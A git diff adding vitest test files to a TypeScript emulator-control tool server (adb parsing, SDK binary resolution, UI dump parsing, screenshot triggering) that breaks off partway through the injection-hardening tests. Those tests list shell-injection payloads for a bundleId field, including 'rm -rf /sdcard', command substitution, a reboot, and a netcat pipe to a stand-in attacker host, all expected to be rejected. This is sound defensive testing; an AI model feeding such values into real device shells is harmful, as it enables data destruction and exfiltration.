diff --git a/packages/argent-installer/test/update.test.ts b/packages/argent-installer/test/update.test.ts
index 062261a3..e2915a9e 100644
--- a/packages/argent-installer/test/update.test.ts
+++ b/packages/argent-installer/test/update.test.ts
@@ -4,6 +4,7 @@ import {
   detectPackageManager,
   globalInstallCommand,
   formatShellCommand,
+  isTempRunnerPath,
 } from "../src/utils.js";
 import { PACKAGE_NAME, NPM_REGISTRY } from "../src/constants.js";
 
@@ -54,6 +55,33 @@ describe("update — constants are correct", () => {
   });
 });
 
+describe("update — temp runner detection", () => {
+  // npx-cached argent shares the latest version, so without this filter the
+  // version compare would falsely match latest after the user uninstalled the
+  // global package via `npx @swmansion/argent uninstall`.
+  it("flags npx cache paths as transient", () => {
+    expect(isTempRunnerPath("/Users/me/.npm/_npx/abc123/node_modules/.bin/argent")).toBe(true);
+  });
+
+  it("flags pnpm dlx cache paths as transient", () => {
+    expect(isTempRunnerPath("/Users/me/.pnpm-store/dlx-1234/node_modules/.bin/argent")).toBe(true);
+  });
+
+  it("flags bun install cache paths as transient", () => {
+    expect(isTempRunnerPath("/Users/me/.bun/install/cache/argent")).toBe(true);
+  });
+
+  it("flags Windows dlx cache paths as transient", () => {
+    expect(isTempRunnerPath("C:\\Users\\me\\AppData\\Local\\dlx-abc\\argent.cmd")).toBe(true);
+  });
+
+  it("treats real global install paths as permanent", () => {
+    expect(isTempRunnerPath("/usr/local/bin/argent")).toBe(false);
+    expect(isTempRunnerPath("/opt/homebrew/bin/argent")).toBe(false);
+    expect(isTempRunnerPath("C:\\Users\\me\\AppData\\Roaming\\npm\\argent.cmd")).toBe(false);
+  });
+});
+
 describe("update — registry safety", () => {
   it("globalInstallCommand never includes --registry (relies on .npmrc scoped registry)", () => {
     for (const pm of ["npm", "yarn", "pnpm", "bun"] as const) {
diff --git a/packages/argent-mcp/test/auto-screenshot.test.ts b/packages/argent-mcp/test/auto-screenshot.test.ts
index 50f51082..c1df365c 100644
--- a/packages/argent-mcp/test/auto-screenshot.test.ts
+++ b/packages/argent-mcp/test/auto-screenshot.test.ts
@@ -180,18 +180,33 @@ describe("getAutoScreenshotDelayMs", () => {
 });
 
 // ---------------------------------------------------------------------------
-// AUTO_SCREENSHOT_TOOLS consistency
+// shouldAutoScreenshot — unified tools trigger one screenshot regardless of platform
 // ---------------------------------------------------------------------------
-describe("AUTO_SCREENSHOT_TOOLS and delay map consistency", () => {
-  it("every tool in the allow-list has a corresponding delay", () => {
-    for (const tool of AUTO_SCREENSHOT_TOOLS) {
-      expect(AUTO_SCREENSHOT_DELAY_MS_BY_TOOL).toHaveProperty(tool);
-    }
+describe("shouldAutoScreenshot — unified surface", () => {
+  it("returns false for the screenshot tool itself (prevents recursion)", () => {
+    expect(shouldAutoScreenshot("screenshot")).toBe(false);
+    expect(shouldAutoScreenshot("mcp__argent__screenshot")).toBe(false);
   });
 
-  it("every tool in the delay map is in the allow-list", () => {
-    for (const tool of Object.keys(AUTO_SCREENSHOT_DELAY_MS_BY_TOOL)) {
-      expect(AUTO_SCREENSHOT_TOOLS.has(tool)).toBe(true);
+  it("returns true for unified interaction tools", () => {
+    for (const t of [
+      "gesture-tap",
+      "gesture-swipe",
+      "button",
+      "keyboard",
+      "rotate",
+      "launch-app",
+      "restart-app",
+      "open-url",
+      "describe",
+      "run-sequence",
+    ]) {
+      expect(shouldAutoScreenshot(t)).toBe(true);
     }
   });
+
+  it("normalizes MCP-prefixed names before looking up the allow-list", () => {
+    expect(shouldAutoScreenshot("mcp__argent__gesture-tap")).toBe(true);
+    expect(shouldAutoScreenshot("mcp__argent__launch-app")).toBe(true);
+  });
 });
diff --git a/packages/tool-server/test/adb-hardening.test.ts b/packages/tool-server/test/adb-hardening.test.ts
new file mode 100644
index 00000000..2cad20aa
--- /dev/null
+++ b/packages/tool-server/test/adb-hardening.test.ts
@@ -0,0 +1,179 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+
+const execFileMock = vi.fn();
+
+vi.mock("node:child_process", async () => {
+  const actual = await vi.importActual<typeof import("node:child_process")>("node:child_process");
+  return {
+    ...actual,
+    execFile: (
+      cmd: string,
+      args: readonly string[],
+      opts: unknown,
+      cb?: (err: Error | null, out: { stdout: string; stderr: string }) => void
+    ) => {
+      const callback = typeof opts === "function" ? opts : cb!;
+      const options = typeof opts === "function" ? undefined : opts;
+      const result = execFileMock(cmd, args, options);
+      if (result instanceof Error) callback(result, { stdout: "", stderr: "" });
+      else callback(null, result ?? { stdout: "", stderr: "" });
+    },
+  };
+});
+
+// `runAdb` / `listAvds` now resolve adb / emulator to an absolute path before
+// spawning, so a bare `cmd === "adb"` matcher would never fire on real hosts.
+// Stub the resolver to return the bare name so existing test mocks keep
+// working, regardless of whether the host has the SDK installed.
+vi.mock("../src/utils/android-binary", () => ({
+  resolveAndroidBinary: vi.fn(async (name: "adb" | "emulator") => name),
+  __resetAndroidBinaryCacheForTesting: () => {},
+}));
+
+import { listAndroidDevices, listAvds } from "../src/utils/adb";
+
+beforeEach(() => {
+  execFileMock.mockReset();
+});
+
+describe("readAvdName — modern property, legacy fallback (review #3)", () => {
+  /**
+   * Emulator release 30 (Android 11+) moved the AVD name from
+   * `ro.kernel.qemu.avd_name` to `ro.boot.qemu.avd_name`. Reading only the
+   * old property makes modern images report `avdName: null`, which in turn
+   * breaks `findSerialByAvdName` disambiguation when two emulators boot
+   * concurrently.
+   *
+   * The fix probes the new prop first and falls back to the old one. These
+   * tests pin both paths.
+   */
+
+  function mockAdbGetProps(
+    serial: string,
+    props: Partial<{
+      "ro.product.model": string;
+      "ro.build.version.sdk": string;
+      "ro.boot.qemu.avd_name": string;
+      "ro.kernel.qemu.avd_name": string;
+    }>
+  ): void {
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      if (cmd === "adb" && args[0] === "devices" && args.length === 1) {
+        return { stdout: `List of devices attached\n${serial}\tdevice\n`, stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "-s" && args[2] === "shell") {
+        const shell = args[3] ?? "";
+        for (const [prop, value] of Object.entries(props)) {
+          if (shell === `getprop ${prop}`) return { stdout: `${value}\n`, stderr: "" };
+        }
+        return { stdout: "\n", stderr: "" };
+      }
+      return { stdout: "", stderr: "" };
+    });
+  }
+
+  it("reads ro.boot.qemu.avd_name on modern images (Android 11+)", async () => {
+    mockAdbGetProps("emulator-5554", {
+      "ro.product.model": "sdk_gphone64",
+      "ro.build.version.sdk": "34",
+      "ro.boot.qemu.avd_name": "Pixel_7_API_34",
+      "ro.kernel.qemu.avd_name": "",
+    });
+
+    const devices = await listAndroidDevices();
+    expect(devices).toHaveLength(1);
+    expect(devices[0]!.avdName).toBe("Pixel_7_API_34");
+  });
+
+  it("falls back to ro.kernel.qemu.avd_name on legacy images", async () => {
+    mockAdbGetProps("emulator-5554", {
+      "ro.product.model": "sdk_gphone",
+      "ro.build.version.sdk": "29",
+      "ro.boot.qemu.avd_name": "",
+      "ro.kernel.qemu.avd_name": "Pixel_3a_API_29",
+    });
+
+    const devices = await listAndroidDevices();
+    expect(devices[0]!.avdName).toBe("Pixel_3a_API_29");
+  });
+
+  it("prefers the modern property when both are present (some images double-set)", async () => {
+    mockAdbGetProps("emulator-5554", {
+      "ro.product.model": "sdk_gphone64",
+      "ro.build.version.sdk": "34",
+      "ro.boot.qemu.avd_name": "Pixel_7_API_34",
+      "ro.kernel.qemu.avd_name": "Pixel_7_API_34_stale",
+    });
+
+    const devices = await listAndroidDevices();
+    expect(devices[0]!.avdName).toBe("Pixel_7_API_34");
+  });
+
+  it("returns null when neither property is set (physical device)", async () => {
+    mockAdbGetProps("R5CT12345678", {
+      "ro.product.model": "SM-G990B",
+      "ro.build.version.sdk": "33",
+    });
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      if (cmd === "adb" && args[0] === "devices") {
+        return { stdout: `List of devices attached\nR5CT12345678\tdevice\n`, stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "-s" && args[2] === "shell") {
+        const shell = args[3] ?? "";
+        if (shell === "getprop ro.product.model") return { stdout: "SM-G990B\n", stderr: "" };
+        if (shell === "getprop ro.build.version.sdk") return { stdout: "33\n", stderr: "" };
+        return { stdout: "\n", stderr: "" };
+      }
+      return { stdout: "", stderr: "" };
+    });
+
+    const devices = await listAndroidDevices();
+    expect(devices[0]!.avdName).toBeNull();
+  });
+});
+
+describe("listAvds noise filter (review #9)", () => {
+  /**
+   * Old filter was prefix-only — any AVD name starting with INFO/HAX was
+   * silently dropped. Real `emulator -list-avds` noise is diagnostic
+   * header/footer lines that contain whitespace or colons (e.g.
+   * `INFO    | Android emulator version ...`), while AVD names are
+   * identifier-only. The new filter accepts identifier-shaped lines only.
+   */
+
+  it("accepts an AVD name that happens to start with HAX (e.g. HAX-Pixel-6)", async () => {
+    execFileMock.mockImplementation((cmd: string) => {
+      if (cmd === "emulator") {
+        return { stdout: "HAX-Pixel-6\nINFO_BuildBot_Pixel7\nPixel_7_API_34\n", stderr: "" };
+      }
+      return { stdout: "", stderr: "" };
+    });
+    const avds = await listAvds();
+    expect(avds.map((a) => a.name)).toEqual([
+      "HAX-Pixel-6",
+      "INFO_BuildBot_Pixel7",
+      "Pixel_7_API_34",
+    ]);
+  });
+
+  it("filters out genuine noise lines with whitespace / pipe characters", async () => {
+    // Real emulator output on at least some installs prints a log-format header.
+    execFileMock.mockImplementation((cmd: string) => {
+      if (cmd === "emulator") {
+        return {
+          stdout: [
+            "INFO    | Android emulator version 33.1.11.0",
+            "HAX is working and emulator runs in fast virt mode.",
+            "Pixel_7_API_34",
+            "Pixel_3a_API_29",
+            "",
+          ].join("\n"),
+          stderr: "",
+        };
+      }
+      return { stdout: "", stderr: "" };
+    });
+    const avds = await listAvds();
+    expect(avds.map((a) => a.name)).toEqual(["Pixel_7_API_34", "Pixel_3a_API_29"]);
+  });
+});
diff --git a/packages/tool-server/test/adb-terminal-error-format.test.ts b/packages/tool-server/test/adb-terminal-error-format.test.ts
new file mode 100644
index 00000000..84482682
--- /dev/null
+++ b/packages/tool-server/test/adb-terminal-error-format.test.ts
@@ -0,0 +1,75 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+
+const execFileMock = vi.fn();
+
+vi.mock("node:child_process", async () => {
+  const actual = await vi.importActual<typeof import("node:child_process")>("node:child_process");
+  return {
+    ...actual,
+    execFile: (
+      cmd: string,
+      args: readonly string[],
+      opts: unknown,
+      cb?: (err: Error | null, out: { stdout: string; stderr: string }) => void
+    ) => {
+      const callback = typeof opts === "function" ? opts : cb!;
+      const options = typeof opts === "function" ? undefined : opts;
+      const result = execFileMock(cmd, args, options);
+      if (result instanceof Error) {
+        // Mirror execFile's actual rejection contract: stderr/stdout are
+        // attached to the error object so describeAdbFailure can read them.
+        const e = result as Error & { stderr?: string; stdout?: string };
+        callback(e, { stdout: e.stdout ?? "", stderr: e.stderr ?? "" });
+      } else callback(null, result ?? { stdout: "", stderr: "" });
+    },
+  };
+});
+
+// `runAdb` resolves adb to an absolute path before spawning. Stub the
+// resolver to return the bare name so existing `cmd === "adb"` mocks fire.
+vi.mock("../src/utils/android-binary", () => ({
+  resolveAndroidBinary: vi.fn(async (name: "adb" | "emulator") => name),
+  __resetAndroidBinaryCacheForTesting: () => {},
+}));
+
+import { waitForBootCompleted } from "../src/utils/adb";
+
+beforeEach(() => {
+  execFileMock.mockReset();
+});
+
+/**
+ * `isTerminalAdbError` checks for the literal substring "device not found",
+ * but adb's actual stderr is `error: device 'emulator-5554' not found` —
+ * the serial appears between "device" and "not found", so the substring
+ * match never fires. Result: when a device drops off PATH mid-boot,
+ * `waitForBootCompleted` keeps spinning until the full timeoutMs elapses
+ * (default 120 s) instead of failing fast with the actionable error.
+ *
+ * Expected: the function should detect the terminal state and throw on
+ * the first failed poll (well before timeoutMs).
+ */
+describe("isTerminalAdbError matches adb's real `device 'X' not found` format", () => {
+  it("waitForBootCompleted should fail fast when adb says \"device 'X' not found\"", async () => {
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      if (cmd === "adb" && args[0] === "-s" && args[2] === "shell") {
+        const err = new Error("Command failed") as Error & { stderr?: string };
+        err.stderr = "error: device 'emulator-5554' not found";
+        return err;
+      }
+      return new Error("unexpected call");
+    });
+
+    const start = Date.now();
+    // Use a small budget so the test doesn't take 2 minutes; the bug
+    // produces a full-timeoutMs hang regardless of size.
+    await expect(waitForBootCompleted("emulator-5554", 4_000)).rejects.toThrow(
+      /terminal state|device.*not found/i
+    );
+    const elapsed = Date.now() - start;
+    // Fail-fast path: throw fires after the first failed poll (< 1 s).
+    // Bug path: loop spins until the deadline (~timeoutMs).
+    // Anything ≥ 3 s on the 4 s budget proves the bug.
+    expect(elapsed).toBeLessThan(2_500);
+  }, 8_000);
+});
diff --git a/packages/tool-server/test/android-adb.test.ts b/packages/tool-server/test/android-adb.test.ts
new file mode 100644
index 00000000..18138529
--- /dev/null
+++ b/packages/tool-server/test/android-adb.test.ts
@@ -0,0 +1,62 @@
+import { describe, it, expect } from "vitest";
+import { parseAdbDevices } from "../src/utils/adb";
+
+describe("parseAdbDevices", () => {
+  it("parses a typical `adb devices` output", () => {
+    const stdout = [
+      "List of devices attached",
+      "emulator-5554\tdevice",
+      "R5CT12345678\tdevice",
+      "",
+    ].join("\n");
+    expect(parseAdbDevices(stdout)).toEqual([
+      { serial: "emulator-5554", state: "device" },
+      { serial: "R5CT12345678", state: "device" },
+    ]);
+  });
+
+  it("includes offline and unauthorized devices with their state", () => {
+    const stdout = ["List of devices attached", "emulator-5554\toffline", "abc\tunauthorized"].join(
+      "\n"
+    );
+    expect(parseAdbDevices(stdout)).toEqual([
+      { serial: "emulator-5554", state: "offline" },
+      { serial: "abc", state: "unauthorized" },
+    ]);
+  });
+
+  it("ignores blank lines and the header only", () => {
+    expect(parseAdbDevices("List of devices attached\n\n")).toEqual([]);
+  });
+
+  it("tolerates `-l` suffix metadata after state", () => {
+    const stdout = [
+      "List of devices attached",
+      "emulator-5554\tdevice product:sdk_gphone64_arm64 model:sdk_gphone64_arm64",
+    ].join("\n");
+    expect(parseAdbDevices(stdout)).toEqual([{ serial: "emulator-5554", state: "device" }]);
+  });
+
+  it("skips the daemon-startup banner adb prints when its background server is cold", () => {
+    // Real output when the adb server isn't running yet — without a guard,
+    // the loose `\S+ \s+ \S+` regex parses these as devices and the boot loop
+    // adopts a phantom serial.
+    const stdout = [
+      "* daemon not running; starting now at tcp:5037 *",
+      "* daemon started successfully *",
+      "List of devices attached",
+      "emulator-5554\tdevice",
+    ].join("\n");
+    expect(parseAdbDevices(stdout)).toEqual([{ serial: "emulator-5554", state: "device" }]);
+  });
+
+  it("ignores lines whose state is not a known adb state", () => {
+    // Defensive: anything that isn't in the canonical adb state set must not
+    // become a phantom device. Catches future adb versions adding garbage
+    // fields and protects against a subtly-malformed banner the * filter misses.
+    const stdout = ["List of devices attached", "emulator-5554\tdevice", "junk\tnotastate"].join(
+      "\n"
+    );
+    expect(parseAdbDevices(stdout)).toEqual([{ serial: "emulator-5554", state: "device" }]);
+  });
+});
diff --git a/packages/tool-server/test/android-binary.test.ts b/packages/tool-server/test/android-binary.test.ts
new file mode 100644
index 00000000..2a1a06e3
--- /dev/null
+++ b/packages/tool-server/test/android-binary.test.ts
@@ -0,0 +1,177 @@
+import { afterEach, beforeEach, describe, expect, it } from "vitest";
+import { mkdir, mkdtemp, rm, writeFile, chmod } from "node:fs/promises";
+import { join } from "node:path";
+import { tmpdir } from "node:os";
+import {
+  __resetAndroidBinaryCacheForTesting,
+  resolveAndroidBinary,
+} from "../src/utils/android-binary";
+import {
+  __resetDepCacheForTests,
+  ensureDep,
+  DependencyMissingError,
+} from "../src/utils/check-deps";
+
+// Snapshot the env vars we mutate so a failing assertion can't leak state into
+// the next test (or the surrounding process: vitest reuses the worker for
+// other suites and a stale ANDROID_HOME would silently flip their behavior).
+const ENV_KEYS = ["PATH", "ANDROID_HOME", "ANDROID_SDK_ROOT"] as const;
+const originalEnv: Record<string, string | undefined> = {};
+
+async function fakeSdk(root: string, name: "adb" | "emulator"): Promise<string> {
+  const subdir = name === "adb" ? "platform-tools" : "emulator";
+  const dir = join(root, subdir);
+  await mkdir(dir, { recursive: true });
+  const path = join(dir, name);
+  // Minimal executable shim — the resolver only checks X_OK + path; spawning
+  // is exercised separately in adb.ts integration tests.
+  await writeFile(path, "#!/bin/sh\nexit 0\n", { mode: 0o755 });
+  await chmod(path, 0o755);
+  return path;
+}
+
+describe("resolveAndroidBinary", () => {
+  let tmpRoot: string;
+
+  beforeEach(async () => {
+    for (const k of ENV_KEYS) originalEnv[k] = process.env[k];
+    __resetAndroidBinaryCacheForTesting();
+    __resetDepCacheForTests();
+    tmpRoot = await mkdtemp(join(tmpdir(), "argent-android-binary-"));
+  });
+
+  afterEach(async () => {
+    for (const k of ENV_KEYS) {
+      if (originalEnv[k] === undefined) delete process.env[k];
+      else process.env[k] = originalEnv[k];
+    }
+    await rm(tmpRoot, { recursive: true, force: true });
+  });
+
+  it("finds emulator under $ANDROID_HOME when not on PATH", async () => {
+    const sdk = join(tmpRoot, "sdk");
+    const expected = await fakeSdk(sdk, "emulator");
+    // Strip PATH down to OS basics so the test doesn't accidentally find a
+    // real `emulator` binary on the host running the suite (CI shouldn't have
+    // one but a developer's macOS easily can).
+    process.env.PATH = "/usr/bin:/bin";
+    process.env.ANDROID_HOME = sdk;
+    delete process.env.ANDROID_SDK_ROOT;
+
+    const path = await resolveAndroidBinary("emulator");
+    expect(path).toBe(expected);
+  });
+
+  it("finds adb under $ANDROID_HOME/platform-tools when not on PATH", async () => {
+    const sdk = join(tmpRoot, "sdk");
+    const expected = await fakeSdk(sdk, "adb");
+    process.env.PATH = "/usr/bin:/bin";
+    process.env.ANDROID_HOME = sdk;
+    delete process.env.ANDROID_SDK_ROOT;
+
+    const path = await resolveAndroidBinary("adb");
+    expect(path).toBe(expected);
+  });
+
+  it("falls back to $ANDROID_SDK_ROOT when $ANDROID_HOME is unset", async () => {
+    const sdk = join(tmpRoot, "sdk-root");
+    const expected = await fakeSdk(sdk, "emulator");
+    process.env.PATH = "/usr/bin:/bin";
+    delete process.env.ANDROID_HOME;
+    process.env.ANDROID_SDK_ROOT = sdk;
+
+    const path = await resolveAndroidBinary("emulator");
+    expect(path).toBe(expected);
+  });
+
+  it("prefers PATH over $ANDROID_HOME when both resolve", async () => {
+    // PATH-installed copy
+    const pathBinDir = join(tmpRoot, "pathbin");
+    await mkdir(pathBinDir, { recursive: true });
+    const pathCopy = join(pathBinDir, "emulator");
+    await writeFile(pathCopy, "#!/bin/sh\nexit 0\n", { mode: 0o755 });
+    await chmod(pathCopy, 0o755);
+    // $ANDROID_HOME-installed copy
+    const sdk = join(tmpRoot, "sdk");
+    await fakeSdk(sdk, "emulator");
+
+    process.env.PATH = `${pathBinDir}:/usr/bin:/bin`;
+    process.env.ANDROID_HOME = sdk;
+    delete process.env.ANDROID_SDK_ROOT;
+
+    const path = await resolveAndroidBinary("emulator");
+    expect(path).toBe(pathCopy);
+  });
+
+  it("returns null when neither PATH nor SDK roots resolve", async () => {
+    process.env.PATH = "/usr/bin:/bin";
+    delete process.env.ANDROID_HOME;
+    delete process.env.ANDROID_SDK_ROOT;
+
+    const path = await resolveAndroidBinary("emulator");
+    expect(path).toBeNull();
+  });
+
+  it("ignores a non-executable file at the canonical SDK path", async () => {
+    const sdk = join(tmpRoot, "sdk");
+    const dir = join(sdk, "emulator");
+    await mkdir(dir, { recursive: true });
+    // Mode 0o644 — present but not executable, simulating a corrupted install.
+    await writeFile(join(dir, "emulator"), "stub", { mode: 0o644 });
+    await chmod(join(dir, "emulator"), 0o644);
+
+    process.env.PATH = "/usr/bin:/bin";
+    process.env.ANDROID_HOME = sdk;
+    delete process.env.ANDROID_SDK_ROOT;
+
+    const path = await resolveAndroidBinary("emulator");
+    // Resolver should refuse the non-executable candidate. With no other
+    // root configured, that means null.
+    expect(path).toBeNull();
+  });
+});
+
+describe("ensureDep('emulator')", () => {
+  let tmpRoot: string;
+
+  beforeEach(async () => {
+    for (const k of ENV_KEYS) originalEnv[k] = process.env[k];
+    __resetAndroidBinaryCacheForTesting();
+    __resetDepCacheForTests();
+    tmpRoot = await mkdtemp(join(tmpdir(), "argent-ensure-dep-"));
+  });
+
+  afterEach(async () => {
+    for (const k of ENV_KEYS) {
+      if (originalEnv[k] === undefined) delete process.env[k];
+      else process.env[k] = originalEnv[k];
+    }
+    await rm(tmpRoot, { recursive: true, force: true });
+  });
+
+  it("passes when emulator is resolvable via $ANDROID_HOME alone", async () => {
+    const sdk = join(tmpRoot, "sdk");
+    await fakeSdk(sdk, "emulator");
+    process.env.PATH = "/usr/bin:/bin";
+    process.env.ANDROID_HOME = sdk;
+    delete process.env.ANDROID_SDK_ROOT;
+
+    await expect(ensureDep("emulator")).resolves.toBeUndefined();
+  });
+
+  it("throws DependencyMissingError with install hint when neither resolves", async () => {
+    process.env.PATH = "/usr/bin:/bin";
+    delete process.env.ANDROID_HOME;
+    delete process.env.ANDROID_SDK_ROOT;
+
+    await expect(ensureDep("emulator")).rejects.toBeInstanceOf(DependencyMissingError);
+    try {
+      await ensureDep("emulator");
+    } catch (err) {
+      // The hint must guide the user to fix the actual problem (set
+      // ANDROID_HOME) rather than just the prior PATH-only message.
+      expect((err as Error).message).toMatch(/ANDROID_HOME/);
+      expect((err as Error).message).toMatch(/emulator/);
+    }
+  });
+});
diff --git a/packages/tool-server/test/android-describe-screen.test.ts b/packages/tool-server/test/android-describe-screen.test.ts
new file mode 100644
index 00000000..9c42e143
--- /dev/null
+++ b/packages/tool-server/test/android-describe-screen.test.ts
@@ -0,0 +1,126 @@
+import { describe, it, expect } from "vitest";
+import { parseDescribeResult } from "../src/tools/describe/contract";
+import {
+  deriveUiAutomatorRole,
+  parseUiAutomatorBounds,
+  parseUiAutomatorDump,
+} from "../src/utils/uiautomator-parser";
+
+describe("parseUiAutomatorBounds", () => {
+  it("parses [x1,y1][x2,y2]", () => {
+    expect(parseUiAutomatorBounds("[0,0][1080,1920]")).toEqual({
+      x: 0,
+      y: 0,
+      w: 1080,
+      h: 1920,
+    });
+  });
+
+  it("handles non-zero origins", () => {
+    expect(parseUiAutomatorBounds("[100,200][400,800]")).toEqual({
+      x: 100,
+      y: 200,
+      w: 300,
+      h: 600,
+    });
+  });
+
+  it("returns null for unparseable input", () => {
+    expect(parseUiAutomatorBounds("garbage")).toBeNull();
+  });
+});
+
+describe("deriveUiAutomatorRole", () => {
+  const cases: Array<[string, string]> = [
+    ["android.widget.Button", "Button"],
+    ["android.widget.ImageButton", "Button"],
+    ["android.widget.EditText", "TextField"],
+    ["android.widget.TextView", "StaticText"],
+    ["android.widget.ImageView", "Image"],
+    ["android.widget.Switch", "Switch"],
+    ["android.widget.CheckBox", "CheckBox"],
+    ["android.widget.RadioButton", "RadioButton"],
+    ["androidx.recyclerview.widget.RecyclerView", "ScrollView"],
+    ["android.webkit.WebView", "WebView"],
+    ["", "View"],
+    ["com.example.CustomWidget", "CustomWidget"],
+  ];
+  for (const [input, expected] of cases) {
+    it(`maps ${input || "(empty)"} → ${expected}`, () => {
+      expect(deriveUiAutomatorRole(input)).toBe(expected);
+    });
+  }
+});
+
+describe("parseUiAutomatorDump", () => {
+  const sampleXml = `<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
+<hierarchy rotation="0">
+  <node index="0" text="" resource-id="" class="android.widget.FrameLayout" package="com.example.app" content-desc="" bounds="[0,0][1080,1920]">
+    <node index="0" text="Sign in" resource-id="com.example.app:id/title" class="android.widget.TextView" package="com.example.app" content-desc="" bounds="[100,200][980,280]" />
+    <node index="1" text="" resource-id="com.example.app:id/email" class="android.widget.EditText" package="com.example.app" content-desc="Email address" focusable="true" clickable="true" bounds="[100,400][980,500]" />
+    <node index="2" text="Submit" resource-id="com.example.app:id/submit" class="android.widget.Button" package="com.example.app" content-desc="" clickable="true" bounds="[100,800][980,900]" />
+  </node>
+</hierarchy>`;
+
+  // The v2 trim flattens layout-only wrappers (FrameLayout with no own
+  // info) so the inner widgets surface directly under the Screen root —
+  // tree.children = [TextView, EditText, Button]. The TextView/EditText/Button
+  // path now lives at tree.children[0], not tree.children[0].children[0].
+
+  it("returns a synthetic Screen root with full-screen frame", () => {
+    const tree = parseUiAutomatorDump(sampleXml, 1080, 1920);
+    expect(tree.role).toBe("Screen");
+    expect(tree.frame).toEqual({ x: 0, y: 0, width: 1, height: 1 });
+    // FrameLayout passthrough → 3 leaf widgets surface as Screen children.
+    expect(tree.children).toHaveLength(3);
+  });
+
+  it("normalizes pixel bounds to 0–1 using the provided screen size", () => {
+    const tree = parseUiAutomatorDump(sampleXml, 1080, 1920);
+    const title = tree.children[0]!;
+    expect(title.label).toBe("Sign in");
+    expect(title.frame.x).toBeCloseTo(100 / 1080, 3);
+    expect(title.frame.y).toBeCloseTo(200 / 1920, 3);
+    expect(title.frame.width).toBeCloseTo((980 - 100) / 1080, 3);
+    expect(title.frame.height).toBeCloseTo((280 - 200) / 1920, 3);
+  });
+
+  it("maps class → role and populates label/identifier/value appropriately", () => {
+    const tree = parseUiAutomatorDump(sampleXml, 1080, 1920);
+    const [title, email, submit] = tree.children as [typeof tree, typeof tree, typeof tree];
+
+    expect(title.role).toBe("StaticText");
+    expect(title.label).toBe("Sign in");
+    expect(title.identifier).toBe("com.example.app:id/title");
+
+    expect(email.role).toBe("TextField");
+    expect(email.label).toBe("Email address"); // content-desc wins over empty text
+    expect(email.value).toBeUndefined();
+    expect(email.clickable).toBe(true); // v2 surfaces interactivity flags
+
+    expect(submit.role).toBe("Button");
+    expect(submit.label).toBe("Submit"); // text is used when content-desc is empty
+    expect(submit.clickable).toBe(true);
+  });
+
+  it("produces output matching the shared DescribeNode schema", () => {
+    const tree = parseUiAutomatorDump(sampleXml, 1080, 1920);
+    expect(() => parseDescribeResult(tree)).not.toThrow();
+  });
+
+  it("strips the trailing `UI hierchary dumped to:` status line from the raw dump", () => {
+    const withTrailer = sampleXml + "\nUI hierchary dumped to: /dev/tty\n";
+    const tree = parseUiAutomatorDump(withTrailer, 1080, 1920);
+    // Same flattened shape as the trim-free run.
+    expect(tree.children).toHaveLength(3);
+  });
+
+  it("drops every node when the screen size is zero (defensive)", () => {
+    // The v2 trim treats screen size 0×0 as "nothing on screen", so every
+    // node fails the visibility check and the tree empties out. Previous
+    // behaviour was to surface a zero-area frame; the trim's invariant is
+    // stronger and easier to reason about.
+    const tree = parseUiAutomatorDump(sampleXml, 0, 0);
+    expect(tree.children).toHaveLength(0);
+  });
+});
diff --git a/packages/tool-server/test/android-injection-hardening.test.ts b/packages/tool-server/test/android-injection-hardening.test.ts
new file mode 100644
index 00000000..13bdb23c
--- /dev/null
+++ b/packages/tool-server/test/android-injection-hardening.test.ts
@@ -0,0 +1,141 @@
+import { describe, it, expect } from "vitest";
+import { launchAppTool } from "../src/tools/launch-app";
+import { restartAppTool } from "../src/tools/restart-app";
+import { openUrlTool } from "../src/tools/open-url";
+import { reinstallAppTool } from "../src/tools/reinstall-app";
+import { createDescribeTool } from "../src/tools/describe";
+import { Registry } from "@argent/registry";
+
+/**
+ * Regressions for the command-injection review finding (#1) and the
+ * empty-udid routing finding (#7).
+ *
+ * The attack surface: every Android branch interpolates `bundleId` (and
+ * sometimes `activity`) directly into an `adb shell "<template>"` string,
+ * which is re-parsed on-device. Without validation, a `bundleId` of
+ * `com.x;rm -rf /` executes arbitrary on-device shell.
+ *
+ * Fix: zod `.regex` on bundleId / activity, and `.min(1)` on udid so an
+ * empty string can't be routed to `adb -s "" shell ...` (which silently
+ * falls back to the default device on multi-device hosts).
+ */
+
+describe("bundleId validation — tools that interpolate into adb shell", () => {
+  const toolCases = [
+    { name: "launch-app", schema: launchAppTool.zodSchema, baseArgs: { udid: "emulator-5554" } },
+    { name: "restart-app", schema: restartAppTool.zodSchema, baseArgs: { udid: "emulator-5554" } },
+  ];
+
+  const injectionPayloads = [
+    "com.foo;rm -rf /sdcard",
+    "com.foo`touch /sdcard/owned`",
+    "com.foo$(touch /sdcard/owned)",
+    "com.foo && reboot",
+    "com.foo | nc attacker 1234",
+    "com.foo\nmalicious",
+    "com.foo'; id; echo '",
+    // Leading `-` would let bundleId masquerade as an `am`/`cmd package` flag.
+    "--user",
+    "-X",
+    "-foo",
+  ];
+
+  for (const { name, schema, baseArgs } of toolCases) {
+    for (const payload of injectionPayloads) {
+      it(`${name} rejects bundleId with shell metachars: ${JSON.stringify(payload)}`, () => {
+        const parsed = schema.safeParse({ ...baseArgs, bundleId: payload });
+        expect(parsed.success).toBe(false);
+      });
+    }
+
+    it(`${name} accepts a normal bundleId like com.example.app`, () => {
+      const parsed = schema.safeParse({ ...baseArgs, bundleId: "com.example.app" });
+      expect(parsed.success).toBe(true);
+    });
+
+    it(`${name} accepts a bundleId with hyphens (e.g. org.some-vendor.app)`, () => {
+      // Hyphens are allowed in iOS bundle ids — but the same safe-alphabet
+      // regex lets them through for both platforms.
+      const parsed = schema.safeParse({ ...baseArgs, bundleId: "org.some-vendor.app" });
+      expect(parsed.success).toBe(true);
+    });
+  }
+});
+
+describe("activity validation — launch-app Android branch", () => {
+  it("accepts a dot-prefixed activity (.MainActivity)", () => {
+    const parsed = launchAppTool.zodSchema.safeParse({
+      udid: "emulator-5554",
+      bundleId: "com.example.app",
+      activity: ".MainActivity",
+    });
+    expect(parsed.success).toBe(true);
+  });
+
+  it("accepts a fully-qualified activity (pkg/.Component)", () => {
+    const parsed = launchAppTool.zodSchema.safeParse({
+      udid: "emulator-5554",
+      bundleId: "com.example.app",
+      activity: "com.example.app/.MainActivity",
+    });
+    expect(parsed.success).toBe(true);
+  });
+
